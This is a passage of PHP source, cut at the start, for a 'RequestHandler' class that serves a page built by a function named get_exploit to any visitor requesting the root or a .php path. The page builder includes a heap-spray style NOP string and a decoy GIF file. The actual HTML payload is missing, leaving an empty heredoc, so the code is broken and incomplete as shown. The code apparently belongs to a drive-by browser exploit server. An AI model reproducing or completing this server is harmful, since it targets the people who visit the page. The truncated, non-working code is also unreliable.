payload_cnv($python_buf); } private function create_gif_file() { $gif_content = base64_decode('R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs='); $filename = 'ququnta_zoofil.gif'; if (!file_exists($filename)) { if (file_put_contents($filename, $gif_content) !== false) { chmod($filename, 0644); } else { echo "\n"; } } } private function get_exploit() { $this->create_gif_file(); $payload = $this->get_payload(); $nop = '%u0a0a%u0a0a'; $html = << HTML; return $html; } public function handle() { $uri = $_SERVER['REQUEST_URI'] ?? '/'; if ($uri === '/' || strpos($uri, '.php') !== false) { header('Content-Type: text/html; charset=utf-8'); echo $this->get_exploit(); } elseif (strpos($uri, 'ququnta_zoofil.gif') !== false) { $gif = base64_decode('R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs='); header('Content-Type: image/gif'); header('Content-Length: ' . strlen($gif)); echo $gif; } else { http_response_code(404); echo "Not Found"; } } } $handler = new RequestHandler(); $handler->handle(); ?>